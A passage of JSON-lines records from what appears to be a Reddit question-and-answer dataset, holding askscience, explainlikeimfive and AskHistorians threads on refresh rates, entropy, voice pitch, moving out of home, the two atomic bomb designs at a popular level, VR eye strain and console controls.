lights, the 100/120 Hz flicker can be seen by many people. It shows as a distinct flicker in your peripheral vision, and some people find it really disturbing.", "Motion is the main reason.\n\nWhen looking at a mostly still scene, anything above the flicker fusion rate (about 24 Hz) will mostly look the same. Your brain can ignore the flicker and still see a clear image.\n\nWhen things are moving fast, which happens more while gaming than in real life indoors, your brain is trying follow along with the moving object. Your brain is trying to track a smooth motion, but a sequence of frames leaves gaps in the motion. Your brain tries to understand what it's seeing, but the gaps cause motion blur, leading to reduced visual clarity. More fps results in smaller gaps between frames and increased clarity.\n\n  \n\n\n^(Side note about lights: Good LED lights have a big enough capacitor that you won't get a 60 Hz flicker. Many dimmable LED lights use a PWM flicker at a much higher frequency than 60 Hz, but low enough that a slow motion video will capture it. Cheap LED lights do have a flicker, which drives me insane. I don't know the exact reasoning, but it's either not having a big enough capacitor or not having a full bridge rectifier.)", "Mostly it is due to the transition from the light dimming to full brightness is analog and smooth, it is not a hard digital on/off. If it was digital you would certainly see it, and most people do when plugging their LED bulbs into an incompatible dimmer switch which will do exactly that.\n\nA similar effect can be experienced when comparing film to a computer rendered cinematic. We don't perceive anything wrong with film at a relatively low 24fps, because the camera exposure provides a smooth transition from frame to frame. Meanwhile you can certainly perceive something wrong with a computer rendering at 24fps as there is nothing blending the frames together.", "I feel like many people here are overlooking the fact that just looking at something isn't the same as interacting with it, as you would when gaming (which is the main use for 144 Hz monitors). A higher refresh rate lowers input lag/latency and therefore feels smoother. If you merely look at someone gaming on a 144 Hz monitor, I don't think you would notice much of a difference compared to 60 Hz.", "/u/JoelMay is right - motion is the reason. Here is a demonstration: [_URL_1_](_URL_1_)\n\nTry experimenting with different speeds and framerates. Also check out other animations there, for example this one - [_URL_0_](_URL_0_) \\- first look at the stationary UFO, and then at the moving one. The effect is framerate dependent, and also depends on how the display works: if it's continously emitting light (LCD) or flickering (CRT and ultra-low motion blur monitors)."]}, "title_urls": [], "selftext_urls": ["https://en.m.wikipedia.org/wiki/Flicker_fusion_threshold"], "answers_urls": [[], [], [], [], [], ["https://www.testufo.com/eyetracking", "https://www.testufo.com/"]]}
{"q_id": "tl5jr", "title": "Generally, males of our species have a lower voice than the females of the species. Is this observed in other animals as well? ", "selftext": "If so, why is this the case? Is it biologically beneficial? If not, when was this trait evolved and why did we evolve it?\n\nIn both cases, where on the evolutionary chain did this begin? ", "document": "", "subreddit": "askscience", "url": "http://www.reddit.com/r/askscience/comments/tl5jr/generally_males_of_our_species_have_a_lower_voice/", "answers": {"a_id": ["c4nl32i", "c4nmwwq", "c4nn2bw", "c4nn9sv", "c4nt0nf"], "score": [12, 3, 14, 3, 5], "text": ["Do you specifically mean lower register or just different between the sexes?", "At the very least here is an interesting take on the topic: _URL_0_", "Male birds occasionally have higher pitched calls and brighter plumage. The peacock is a prime example of this. The male peacock has an incredibly annoying call if you've ever had the misfortune of living near one. ", "It's sexual dimorphism. [Here's a study on it](_URL_0_). Animals have other forms of sexual dimorphism, such as plumage and mating calls. \n\nEdit: Grammar", "I can't answer about other species, or at what point in human evolution this difference arose, because I don't know.\n\nThe pitch of your voice is determined in part by your physiology. Men are generally larger than women. Their larynx is larger, and so their vocal folds are longer and thicker and vibrate at a lower frequency, and the rest of their vocal tract is also larger, resulting in a different resonance that produces a more \"male\" sounding timbre.\n\nThe difference is more extreme than you would expect, though, if you were *only* looking at overall size. Men also have a *proportionally* larger larynx; it's the sudden growth of the larynx during puberty that causes boys' voices to break. Why? This is not my area, but one obvious possibility seems to be sexual selection: Over time this sex difference was amplified because lower voices were associated with more desirable (larger) mates.\n\nIt's also worth noting that the pitch you speak is not *entirely* dependent on your physiology. There are cultural differences as well. Japanese women have higher voices than Dutch women, even if you control for size. And if I'm remembering correctly, American men speak with lower voices than men from most European countries.   Altering the pitch of their voice is one way people conform to their culture's notion of gender without even being aware of it."]}, "title_urls": [], "selftext_urls": [], "answers_urls": [[], ["http://news.nationalgeographic.com/news/2012/01/120105-deep-voices-sperm-masculine-men-women-science-health-evolution/"], [], ["http://www.anth.ucsb.edu/faculty/gaulin/Puts_Gaulin_Verdolini_2006.pdf"], []]}
{"q_id": "5i054n", "title": "How are the two main definitions of entropy equivalent?", "selftext": "I've heard two definitions of entropy that seem slightly different, one from the thermodynamic perspective and one from stat mech. How are the two equivalent or consistent? Mathematical proofs are fine and appreciated.", "document": "", "subreddit": "askscience", "url": "https://www.reddit.com/r/askscience/comments/5i054n/how_are_the_two_main_definitions_of_entropy/", "answers": {"a_id": ["db4br89"], "score": [9], "text": ["Well there's more than two, but I'll assume you're referring to the Gibbs definition and the Boltzmann definition?\n\nBoltzmann:\n\nS = k ln(W),\n\nGibbs:\n\nS = - k \u03a3*_i_* p*_i_* ln(p*_i_*).\n\nThese are in fact equivalent. The way to see this is to start with the Gibbs definition and use it to derive the Boltzmann definition. Technically speaking, the Boltzmann equation gives the entropy of a microcanonical ensemble. This is a statistical ensemble where all extensive quantities (energy, volume, and number of particles) are held fixed. So physically speaking, it's about one of the most boring systems you can come up with.\n\nBut anyway to derive the equilibrium probability distribution for the particles in the microcanonical ensemble, you maximize the entropy. So we want to maximize the Gibbs definition of the entropy. We also need to be wary of the fact that we're working with probabilities, so they must be normalized. So in addition to maximizing the entropy, we need to add a constraint which enforces the fact that the sum of all of the probabilities is 1. In other words:\n\n\u03a3 p*_i_* = 1.\n\nWe do this using Lagrange multipliers. If you're not familiar, you simply add zero to the thing you're maximizing and an additional unknown parameter, in order to enforce your constraint. I'll call my Lagrange multiplier \u03bb.\n\nSo finally, what we want to maximize is:\n\n-k \u03a3*_i_* p*_i_* ln(p*_i_*) + \u03bb(\u03a3 p*_i_* - 1).\n\nThe first term is just the Gibbs entropy, and the second is zero (the sum of all probabilities minus 1) times an unknown constant.\n\nNow maximize by taking the derivative with respect to p*_j_* and setting it equal to zero. The resulting equation is:\n\n-k ln(p*_j_*) - k + \u03bb = 0.\n\nThis can be rearranged to give:\n\np*_j_* = exp[\u03bb/k - 1].\n\nOne can go further and determine what \u03bb actually is, but we don't need it. All we need is to notice that the quantity on the right side is a **constant**.\n\nThe equilibrium distribution for the microcanonical ensemble is the **uniform distribution** (all probabilities equal).\n\nNow if we have W possible states, and all probabilities are equal and their sum is 1, clearly we must have:\n\np*_j_* = 1/W for all j.\n\nAlmost there, now plug this into the Gibbs definition of the entropy:\n\nS = - k \u03a3*_i_* p*_i_* ln(p*_i_*)\n\n= - k \u03a3 ln(1/W)/W.\n\nSince -log(1/a) = log(a), we can get rid of that minus sign, and since everything inside the summation is constant, we're just summing 1 from 1 to W, which gives a factor of W.\n\nWhat remains is S = k ln(W), exactly the Boltzmann entropy.\n\nThis is the entropy of the microcanonical ensemble and it has been derived directly from the Gibbs definition of entropy."]}, "title_urls": [], "selftext_urls": [], "answers_urls": [[]]}
{"q_id": "15sksk", "title": "How is it possible that steel and concrete have the same thermal expansion rate?", "selftext": "", "document": "", "subreddit": "askscience", "url": "http://www.reddit.com/r/askscience/comments/15sksk/how_is_it_possible_that_steel_and_concrete_have/", "answers": {"a_id": ["c7pg0sn"], "score": [3], "text": ["Steel and concrete don't have exact coefficents of linear thermal expansion, but iron and concrete have similar coefficients. From [this data page](_URL_0_), concrete is 12E-6/C, while iron is 11.8E-6/C, which is why iron rebar is used with concrete. \n\nThis is convenient coincidence, which causes any stresses caused by thermal change to be well within the factor of safety the structure is designed for. \n\nJust for reference, the coefficient of stainless steel is 17.3E-6/C. \n\nEDIT: Fixed my link"]}, "title_urls": [], "selftext_urls": [], "answers_urls": [["http://en.wikipedia.org/wiki/Thermal_expansion#Thermal_expansion_coefficients_for_various_materials"]]}
{"q_id": "21iaeg", "title": "hyperrealism", "selftext": "So I read on wikipedia the example about Disneyland, but I'm wondering what the basis is behind Baudrillard's theory, and why he has the belief that the earth isn't real to begin with. Also, if possible, what the possible benefits or harms come along with the hyperreal.", "document": "", "subreddit": "explainlikeimfive", "url": "http://www.reddit.com/r/explainlikeimfive/comments/21iaeg/eli5hyperrealism/", "answers": {"a_id": ["cgddeno", "cgdf30l"], "score": [8, 9], "text": ["For clarification, I think you mean Hyperreality.  Hyperrealism is an art movement where people draw pictures that are photo-realistic (as an example).  \nBut, someone please answer this! I am curious myself. ", "He bases his thought not on the perception of earth not being real, but with the impossibility of determining the reality of earth when the human mind is more allured by the purpose, or significance of something within a system, rather than its actual \"realness\" or \"existence\" (as he put, a human emphasis on the **sign** value of an object rather than its **functional** or **exchange** value of an object). It reveals a human's quest for the ideal, that may block true understanding of the world.\n\nDisneyland, for example, emphasizes a more simple, idealistic reality where the nature of things manifest in a manner not tied to realistic restrictions. A shopkeeper in Disneyland, for example, does not make, clean, or organize the merchandise he sells. Factory workers, and people you do not see accomplish that, but when this shopkeeper can devote his entire job to only selling his merchandise and appearing happy, the positive manner in which he portray's his visible **role** in society makes that society seem more appealing, because we are looking at the **sign** value of the shopkeeper, and choose to ignore how he got himself to that position in the shop. He is a simulacrum of a real shopkeeper. (which in reality leads to his fatigue, sadness, or lack of focus, but in Disney is surreptitiously cast aside.)\n\nIn terms of benefits or harms, idealized views of society or people based on their sign value, ie. what they represent, leads to a flawed view of reality. For example, Ronald Reagan represented a suave, calm, and confident American demeanor, one which seemed very optimistic about America's power and future. He is seen as a better leader because people look at that ideal he may have represented, rather than his political views, intelligence, stances, laws, administration, effects on the economy, and foreign policy. Another example is that people look to the past as being ideal, while in reality the flaws and problems with this past overshadows the ideals they represent. Owen Wilson's character in Midnight in Paris eventually overcame this flaw, for he at first dreamed of how much better the past (1920s Paris) was.\n\nIt is a retreating fantasy, within which we can find a certain happiness, for our ideals, the base natures of things which we know to understand, manifest without the endless restriction of reality. Animated films isolate and emphasize features which easily distinguish humans (eyes, characteristics, movements), so that we can connect more easily in this simulated Hyperreality. \n\nThis departure to Hypperreality was Baudrillard's understanding of a human's quest for meaning which often takes a more simple, yet seemingly more encompassing view of reality by seeing an object or idea for what it represents and may imply, rather than its true nature whose manifestation is more complicated, and less fulfilling. \n\n**TL;DR:** Hyperreality is a human's emphasis of focus on what things represent in a system, rather than what they manifest as in reality. This delusion leads to a limited view of the world, which can both harm in its allure, yet provide a respite of comfort and understanding."]}, "title_urls": [], "selftext_urls": [], "answers_urls": [[], []]}
{"q_id": "1kne6y", "title": "eli22: how do i move out of my parent's house?", "selftext": "", "document": "", "subreddit": "explainlikeimfive", "url": "http://www.reddit.com/r/explainlikeimfive/comments/1kne6y/eli22_how_do_i_move_out_of_my_parents_house/", "answers": {"a_id": ["cbqp9af", "cbqpafm", "cbqpljh", "cbqplu5", "cbqqf72", "cbqqqhq", "cbqr2sn", "cbqr4f3", "cbqrlhi", "cbqrlud", "cbqrpra", "cbqsaqp", "cbqsedf"], "score": [13, 116, 2, 7, 6, 14, 5, 2, 2, 3, 4, 9, 3], "text": ["1) get job  \n2) move out", "1) Get a reliable source of income.  That's the basis.  Ideally some kind of full-time job, but with your degree you could do a good bit of freelance work as well. \n\nYou might want to look into relocating to another city if work is hard to come by in your area. \n\n2) If rent in the area of your employment is prohibitive, look for a roommate.  You can find them fairly easy on craigslist, or ask friends. If you want your own place, you're going to be looking at fairly crappy 1-bedroom or studio apartments in semi-questionable parts of town in big cities.  \n\n3) Make a budget.  A DETAILED budget.  Ideally you have a monthly income you can rely on.  Subtract rent and utilities and see what's left.  Heat and electricity usually run me about $60 per month each on average.  Internet is another $30-$60.  Water is usually a lot cheaper and in some places it's included.  After that, make allowances for food.  You're going to probably need to spend at least $5 per day on food, and that's if you're cooking cheap stuff for yourself. \n\nMake sure you are using your after-tax income for this part. \n\n4) Buying things: One thing I can tell you is that in any major metropolitan area, craigslist is going to be your best friend when it comes to electronics, furniture, and so on.  You can get almost anything second hand for 25-50% of what you'd pay new, in good shape.  An abbreviated checklist: \n\n1) bed frame\n2) coat hangers for your clothes\n3) TV (optional)\n4) sofa(optional)\n5) table to eat on\n6) coffee table (optional)\n7) chairs for the table\n8) kitchen stuff (flatware, blender, etc.)\n\nFor an example of the kind of deals you can get on CL: I sold an entire kitchen's worth of utensils, containers, cups, plates, and so forth for $20 recently.  I just had a ton of extras.  I've also MADE money on my furniture that I've bought on craigslist.  I usually sell stuff for what I paid for it... or more.  Just have to be patient and wait for excellent deals to come along.  It's not rocket science, just requires patience and observance of what things seem to go for. \n\n5) DO NOT BUY A CAR IF YOU CAN POSSIBLY AVOID IT.  A car will run you $1000s per year (if you buy it with an auto loan, you've got principal, interest, gas, maintenance, city/state stickers, insurance, and parking to pay. It adds the fuck up.)  You can save a good chunk of that money if you live in a place with public transit.  A bike is also a great option.  I bike to work, I save almost $5 per day on train fare that way, and it helps me keep a basic level of fitness.  Sure, it's slightly dangerous, but it's well worth it. You can even bike in the winter when there isn't actually snow on the ground.  Not biking year-round is for babies. \n\nYou can do it with any kind of reasonable job, but my perspective here is from an urban setting.  Most full time jobs will pay you at least enough to afford a shitty apartment, utilities, and some crap furniture. \n\nYou can make your money go further by buying second-hand from thrift shops and CL.  You can bring in extra by freelancing on the side if you have a job. You can make your money go extra-far by sharing a crap apartment with someone, and cooking all your own food. \n\nNB: shop at Aldi and ethnic grocery stores as much as you can.  Packaged gods at Aldi and produce from the ethnic stores (around here it's mexican.)  You end up spending at least 25% or even 50% less than big grocery stores. \n\ntl;dr: 1) find a job, 2) find a cheap apartment 3) don't spend too much on food\n\nOne big thing I'm leaving out here: medical insurance.  Kinda up to you...\n\nPS don't live in a garden apartment.  The rent is a lot cheaper but it's honestly not worth it, I can tell you from years of experience.  Your place will be burglarized and you'll spend the term of the lease inhaling mold spores and dodging spiders. ", "Don't sweat it for a while! Get work and stick at it while still staying at home. Focus on saving. Do it well, and you should find that in a few years time, you will have received some raises and have enough income to support yourself, and a large bank balance to fund rental bonds or even a deposit.", "Do you have a job? Any money? What are your expenses? Potential roommates?\n\nThe first step, assuming you don't want to have to beg to move back in later, is to establish a relatively stable income, save up a little bit of money, and work on your budgeting. If you can't save up $2000 while you're living with your parents, you're not prepared to live on your own.\n\nOnce you're feeling confident and have a little bit of money saved up, you need to find a place to live. There are a lot of things to consider. How close is it to your job and places you'll visit regularly (banks, markets, laundry, friends)? This affects your transportation costs by a huge amount, and it might be worthwhile to live closer to work and pay higher rent if it means saving hundreds of dollars on gas and several hours every week commuting. How dangerous is the neighborhood you're considering? Let's assume that you're probably poor, so you're not going to have much that's worth stealing but you're on reddit, so you've probably got a decent computer, maybe a smart phone (get rid of that, you don't need to pay even $50/month for a phone if all you're using it for is verifying trivia), and probably some decent audio equipment. Try not to live somewhere (or with someone) where that all getting stolen seems like a strong possibility. An extra $100 every month won't seem so bad when you get home from work and even your mattress is gone.\n\nWhen you're planning your budget for your new home, make sure you think about utilities. Electric, water, sewer, and garbage are all things you have to pay for. You'll probably want internet. Ask the people you're renting from what their utility bills and service are like. Ask the neighbors, introduce yourself. Do it when you're not with the landlord. You know what people always have time to do? Complain about their shitty landlord.\n\nWhen you're viewing an apartment or house, check the water temperature in the bath and shower, bring a night light and plug it into all the outlets. Check windowsills for mold, nobody cleans windowsills. If your parents are reasonable, competent, and excited for you to get out of their house, ask them to come along and help when viewing houses.\n\nAssume that you've screwed up your plan. Go ahead and throw another 10% into your budget for \"Oh, I have to pay for my own lightbulbs?\" You have to pay for your own lightbulbs, and living on your own, you're going to have unexpected expenses. Read any contracts before you sign them, and ask a grown-up to read it too. No, go back, actually **read** it. It's going to matter half a year from now when you're dying from black mold.\n\nMake a budget, stick to it. You probably don't own anything yet, so it's still acceptable to ask your friends to help you move. But everything better be securely taped into boxes when they get there, and you owe them pizza and beer. If you own a bunch of books, it has to be better than Dominos.\n\nDon't spend your money. For the first three months you're there, assume that at any moment you're going to need whatever's left of that $2000 you saved up (you probably lost half of it to putting down a security deposit and moving in). When you build that budget, put $100 every month into your savings, in an account you can't transfer money out of online, **before** you determine how much money you have for coffee, cigarettes, magazines, and music.", "Get a job and save your money for 4x the expenses it's going to cost to move in even with roommates, do not rush it after a check or two. SERIOUSLY. \n\nYou probably won't know your budget for a couple months, that'a where your extra savings can come in handy. Detailed budgets are cool and all, but if you live somewhere with definite seasons it can all change.\n\nBuy groceries instead of going out, it makes a huge difference and you can enjoy your independence and adulthood more, teach yourself some cool shit.\n\n\n\n", "prolifetip: suck it up and live at home for a year or two to save up to be able to afford to live on your own.", "Get job.\nBuy small plot of land.\nBuild shitty house.\nProfit.\n\nWish I had done this when I was 22.", "First of all, where are you living? Can you get good jobs where you are now? Can you work in your field there? How expensive is the cost of living in your area? Most people I know who moved did WAY better in their new location because they were able to pick a place to live that fit with their situation and skills. Moving out of your parents' house may not be enough. You may need to move to a cheaper area or to a place where you can get a better job.\n\n1) Save up a lot of money. Save up way more than you think you will need to move. This may take a while. ( Too bad. :/ )\n\n2) Find roommates. This may be frustrating and may lead to less-than-perfect living situations, but if you are a mature person and know how to make friends and compromise productively, this should not be a serious problem. Living with roommates will make housing way cheaper and may make you new friends in the process!\n\n3) Teach yourself to live lightly. Learn to cook, shop in cheap places, figure out ways to shave dollars off your current living expenses. Make a budget and stick to it. Be a huge miser.\n\n4) Try to figure out if you can live without a car. If you can, you will save crazy amounts of money.\n\nReally the most important thing is figuring out if you need to change cities.", "One more tip: don't move to northern Virginia.", "Oh, and buy shit at thrift stores. Someone probably already said that, but I didn't feel like reading all of this.", "BA in Audio Engineering? You need to start saving and finding reliable work, whilst building your own career. This can mean live sound or theatre sound. Anything that requires a good knowledge of audio and has jobs popping up in a lot of places (this is why studio work isn't a good idea yet). When the money comes in start doing what everyone else says in this thread.", "It's pretty much a real life game of the Sims. Just play a game and take notes.", "you dont have a baby"]}, "title_urls": [], "selftext_urls": [], "answers_urls": [[], [], [], [], [], [], [], [], [], [], [], [], []]}
{"q_id": "8t7t18", "title": "how can certain people dislike drinking water, it seems only natural that we would love it", "selftext": "", "document": "", "subreddit": "explainlikeimfive", "url": "https://www.reddit.com/r/explainlikeimfive/comments/8t7t18/eli5_how_can_certain_people_dislike_drinking/", "answers": {"a_id": ["e15f8kq", "e15fl3u", "e15flq8", "e15ijva"], "score": [5, 72, 21, 9], "text": ["Because they become accustomed (addicted) to sweet beverages,  water tastes bitter in comparison", "Our brains are fueled by carbohydrates, and consuming sugary drinks activates the reward centers in our brain. \n\nETA: according to [this study](_URL_0_) using sugar causes such large surges of dopamine (reward feel-good neurotransmitter) that humans may develop an opioid-like addiction to it. ", "I read an interview a long time ago where Hunter S. Thompson was explaining that your body will kind of trick itself that it\u2019s not craving water when it\u2019s not getting water. Think about years ago and being nomadic and maybe not having water for a day or two until you found the next body of water or stream, yes you\u2019re thirsty at first, but the body will quit craving it as strongly as a coping mechanism. Well, our bodies still respond like that so when people are drinking soda and booze all day, that instinct kicks in. However, you will find that if you force yourself to crush a glass or two of water, (more than just a few drinks) you will start to crave water again, then you will see how often your body really does crave it.  \n", "Think of the history of animals on earth.  We've evolved, largely, in a constant state of searching for things to eat so we don't starve.  This has gone on for hundreds of millions of years.\n\nOne of the things we evolved was a taste for sugar.  At a very primal level, eating sugar tells us \"you done good!\" because sugar is a great source of food energy and has been relatively hard to get.\n\nModern agriculture goes back less than 10,000 years.  It's only in the last hundred or so that we've managed to crank up the ridiculous level of industrial sugar (and high-fructose corn syrup) production that defines the modern American diet.\n\nThis means our body/brain has millions of years to learn \"if you see sugar, get it!\" and only about 50 years to *unlearn* that because we're constantly surrounded by cheap sugar.\n\nWhen you can drink a soda for virtually zero effort, it can be easy to take it instead of water.  It's just the way we're wired."]}, "title_urls": [], "selftext_urls": [], "answers_urls": [[], ["https://onlinelibrary.wiley.com/doi/full/10.1038/oby.2002.66"], [], []]}
{"q_id": "310h80", "title": "Decmber 7 1941", "selftext": "Why aren't students taught that Pearl Harbor was not the only base attacked by the Japanese on December 7? Japan's attack strategy is one that should be studied for it's logistical accuracy and genius, but why aren't the other two bases attacked mentioned in most historical texts?", "document": "", "subreddit": "AskHistorians", "url": "http://www.reddit.com/r/AskHistorians/comments/310h80/decmber_7_1941/", "answers": {"a_id": ["cpxhm8i", "cpxhs37"], "score": [2, 2], "text": ["hi! just a heads up that this sub is inundated with April Fools content right now, so if your post gets lost in the shuffle and is left unanswered, do resubmit when normal service has been resumed in a couple of days.\n", "I don't know what your definition of most is but if you're looking for texts concerning the Philippines and British Malaya/Singapore I recommend [MacArthur and Defeat in the Philippines](_URL_1_) and [Sinister Twilight: The fall of Singapore](_URL_0_) as starting points. There are actually quite a few texts on the subject and I am sure others will have their favorites to share as well."]}, "title_urls": [], "selftext_urls": [], "answers_urls": [[], ["http://www.amazon.com/Sinister-Twilight-Singapore-Military-Paperbacks/dp/0304364371/ref=pd_sim_b_2?ie=UTF8&amp;refRID=0A535Z629KVAKKESMTXQ", "http://www.amazon.com/MacArthur-Defeat-Philippines-Richard-Connaughton/dp/1585671185"]]}
{"q_id": "3ty1kk", "title": "the differences between the little boy and the fat man atomic bombs used against japan", "selftext": "", "document": "", "subreddit": "explainlikeimfive", "url": "https://www.reddit.com/r/explainlikeimfive/comments/3ty1kk/eli5_the_differences_between_the_little_boy_and/", "answers": {"a_id": ["cxa69ad", "cxa6cxt", "cxae1l8", "cxap90j"], "score": [98, 20, 11, 2], "text": ["Little Boy, dropped on Hiroshima, was a uranium bomb, and used a gun-like mechanism to shoot one sub-critical mass of U-235 into another, creating the critical mass that exploded.\n\nFat Man, dropped on Nagasaki, was a plutonium bomb, used a sphere of plutonium that was then compressed by ordinary explosives to create the necessary critical density.  ", "Both bombs depend on so-called \"fissile material\"; this is a certain type of substance that if you gather enough of it into a single mass, it will cause a runaway nuclear chain reaction. For Little Boy, the material is Uranium-235; for fat man, the material was Plutonium.\n\nIn any case, if a certain \"critical mass\" of those materials is achieved, the reaction will occur. The trick is that we want to achieve that mass very suddenly. If it does not happen very, very quickly, then the bomb reaction will just blow apart the material and it will not be very powerful.\n\nSo, Little Boy and Fat Man used two different methods to achieve critical mass very, very quickly.\n\nFor Little Boy, there was a sphere of Uranium that was close to critical mass, but it was missing a cylinder a bit larger than a Campbell's Soup can. The missing cylinder was placed at the other end of the bomb. The bomb then acted like a gun with the cylinder as the bullet. At the appropriate time, the cylinder was fired at high velocity into the target sphere. This achieved the supercritical mass which caused the runaway reaction i.e. nuclear explosion.\n\nFat man used a different methodology to achieve supercritical mass: A sphere of plutonium was placed in the bomb, and a bunch of standard explosives placed around the sphere. The standard explosives would detonate, compressing the Plutonium core into a supercritical state.", "Well first off understand how that type of nuclear reaction happens.  Basically Plutonium and Uranium decay over time.  When they decay they lose particles.  No big deal right.  But what if that loose particle runs into another atom?  It causes that atom of Uranium or Plutonium to break off particles as well.  Now imagine those newly broken off particles then hit more atoms?  You have a chain reaction.  Under normal circumstances the atoms are spaced far enough apart that it doesn't happen often.  Those loose particles won't hit anything much.\n\nBut what if the density increased.  What if the atoms were packed together much more tightly?  It would increase the chances of those stray particles running into other atoms.  If the density is high enough, every loose particle could cause another atom to break apart.  That is your chain reaction.  Each bomb was a different method to create the chain reaction.\n\nLittle Boy made two separate pieces of Uranium crash into each other causing criticality.  The nose of the bomb held the bigger piece.  The tail end of the bomb was the smaller piece.  Those two pieces combined was enough mass to cause a chain reaction.  That smaller tail piece was propelled down the length of the bomb until it collided with the front piece.  That's why this bomb was tall and skinny.  Also around each piece they used a reflective shield that bounced loose particles back into the Uranium.  So when the 2 pieces combined, the shield fully enclosed it.\n\nFat Man used an implosion to cause criticality.  Basically they had a round core of plutonium that was surrounded by conventional explosives.  Those explosives were set off simultaneously from all sides and crushed the plutonium from all directions at once causing it to go critical.  That is why this bomb was round and fat.\n\nYoutube it there's quite a few videos about it that explain the process really well.  It is super interesting.", "I always wondered what it would be like to have it not go off and then have given Japan the technology."]}, "title_urls": [], "selftext_urls": [], "answers_urls": [[], [], [], []]}
{"q_id": "6636e8", "title": "why is it okay to use vr headsets but not okay to sit 10 inches away from a tv", "selftext": "", "document": "", "subreddit": "explainlikeimfive", "url": "https://www.reddit.com/r/explainlikeimfive/comments/6636e8/eli5why_is_it_okay_to_use_vr_headsets_but_not/", "answers": {"a_id": ["dgf73dn", "dgfdf8y", "dgfmqai", "dgg4shg"], "score": [80, 29, 4, 2], "text": ["It's not a matter of images being projected but rather how much your eye strains to focus on up-close things.\n\nWhen you are sitting 10 inches away from a TV, the muscles in your eye need to strain to change a clear lens within your eye so that images 10 inches away will focus properly and appear sharp (like a magnifying glass). When your eye is relaxed, far away things will appear in focus while things up close will be blurry. Constantly straining your eyes to focus can cause eye strain, headaches, and lead to or worsen near-sightedness (although there is also evidence that lack of exposure of children to bright light like sunlight may also contribute to the recent explosion of people who need glasses).\n\nVR headsets are different because they include a glass lens of their own before the projected image. This lens makes it so that when your eye is relaxed, the images from up close are in focus. Therefore, your eyes do not have to strain to focus on the VR headset screen.\n\nNote that the muscle controlling the lens in your eye will weaken with age. This is why older people need reading glasses as their eyes are unable to adjust to focus on close objects.", "I don't think there is any actual evidence that sitting close to the TV is in anyway bad for you/eyes", "For prolonged period of times, it is not good to do any one activity.  The issue isn't necessarily the distance from the object, but how your eyes focus on it.  Imagine \"the point\" at which you focus on the object for clarity.  When you're watching the television, you're usually several feet away.  \n\nNow, hold your finger just past your nose and focus on it.  Notice how you have to bring your eyes in and almost go cross-eyed?  This is known as convergence.  When you wear a VR headset, you still focus at a distance.  It is an augmented reality view so it is designed to be as if you're looking at something in real life.  If you had to focus at a distance of your finger just beyond your nose, you would have eye strain in no time.  This would also lead to something known as [convergence insufficiency](_URL_2_) which makes it hard to look at things up close.\n\nThere main problem is the distance at which you are focusing on and there are two main issues.  First, is with prolonged use.  It is good to vary your focal length throughout the day for short periods of time.  If you work at a computer most of the day, you can do this by focusing something a lot farther than your screen (say out a window) every so often.  I try to make it a point to stare off in the distance when typing.  A lot of people will read what they type and proof as they go, but try looking out of a window or something as you type.  This will give you a minute or two of a varied focal distance at a time while not decreasing your productivity.  I would recommend doing this 4 to 5 times every hour for a minute or so at a time.  \n\nThe second problem is those that do stare at a screen all day is that your screen may be a bit too close (like the finger just past your nose example) and increases your eye strain due to convergence.  As you get older, you generally lose sharpness in your near-sighted vision.  To help with reducing eye strain, they show that you can get prescription glasses that focus on a distance of about 20\" to help with  the strain on using a computer screen all day.  These glasses are specially designed so that if you tried to use them elsewhere (say walking outside), the view through them would be blurry.  The helps reduce the amount of work the muscles of the eye perform to focus on your screen, helping with your long-term eyesight.  \n\nSorry for the long winded response that didn't address your question directly, but for more information, the [Vision Performance Institute](_URL_0_) is doing a lot of work in the area and have [published](_URL_0_/publications) a lot of information on it.  No relation to them but they are a good single source.  There are researchers doing their own research all over the world.", "I remember reading that a large part of that myth is the fact that parents user it to just keep their kids from in-front of the TV. Tell them it ruins their eyes and not to sit so close, you don't have to worry about them blocking half the TV."]}, "title_urls": [], "selftext_urls": [], "answers_urls": [[], [], ["https://www.pacificu.edu/about-us/centers/vision-performance-institute", "https://www.pacificu.edu/about-us/centers/vision-performance-institute/publications", "https://en.wikipedia.org/wiki/Convergence_insufficiency"], []]}
{"q_id": "67vdz7", "title": "pc games typically allow custom key mapping for every in-game action, however console games typically only offer developer-created control schemes that do not allow for key remapping. why do most console games only offer this type of limited customization?", "selftext": "", "document": "", "subreddit": "explainlikeimfive", "url": "https://www.reddit.com/r/explainlikeimfive/comments/67vdz7/eli5_pc_games_typically_allow_custom_key_mapping/", "answers": {"a_id": ["dgtiulw", "dgtyv6n", "dgur4k6"], "score": [6, 2, 3], "text": ["Consoles generally thrive on uniformity and ease of use, much like iOS vs Android.  \nAllowing the player to modify control settings seems like an obvious choice, but it can also be a bad thing at times. Players might not ever settle on a control scheme, but instead move from config to config until they're tired of the game and give up. Or, the players could be disallowed from changing the config and just have to \"get used to it\" which is actually an easier thing than finding the optimal layout in many cases.  \nSo, devs take the route that's easiest for them (no worrying about allowing control rebinding) and usually easiest for their players (a set of control choices that covers the top 50% or so of player needs). And the control choices offered by devs are often long-time favorites of the community that are easily transferable between games for faster learning. (like CoD and Halo are both shooters and have the same basic control scheme)  \nBut the XBox One is challenging this a little bit... They've added (in the system settings) the ability to remap the buttons that the system sends to the game, which bypasses game devs allowing you to remap entirely. This system (while mildly clunky) puts control back in the player's hands, and makes customization possible again.", "Short answer: simplicity.\n\nLong answer: Unlike PCs, developers expect you to play your games with your console's original controller. They probably tailored their mapping to be usable to most consumers. There's really no good reason to build and maintain a complex mapping interface inside their game. People would screw up their button actions and blame the game.\n", "I've developed PC games with custom key mapping, and games with locked controls so I may be able to offer some insight here.\n\nHere's an example:\nImagine playing Super Mario Brothers on a [NES controller](_URL_0_)\nA is the jump button, and B is the run button.\n\nIn Super Mario, you need to be able to jump **while** you are running. But that's ok, because the control scheme makes this easy.\n\nIf you are holding B (Run) with the tip of your thumb, your lower-thumb is positioned perfectly over the A (Jump) button. So all you would need while holding the run button, is move your thumb so that you are pressing both buttons simultaneously. There is no need to let go of the run button to be able to press A. It works great and feels completely natural.\n\nNow imagine that Super Mario Brothers allowed button remapping from the get-go. Some players would inevitably switch the buttons for running and jumping before they even started playing. It may lead to frustration when players can't make jumps because they have to stop running to hit the jump button. And if they never experienced the benefits of the original control scheme, they may just mistake this problem for bad game design.\n\nWith locked controls, you can ensure that users will be able to get the intended gameplay experience and wont run into any control problems.\n\nOn consoles, this always works because the controller is the same layout for everyone.\nHowever, on PC, the keyboard/mouse/controller may be vastly different between users, so the developer is forced to add custom controls even if they don't want to, just to ensure that everyone can play regardless of their computer set-up.\n\n\n"]}, "title_urls": [], "selftext_urls": [], "answers_urls": [[], [], ["http://cdn.cgmagonline.com/wp-content/uploads/2015/03/ninconhistoryinsert3.jpg"]]}
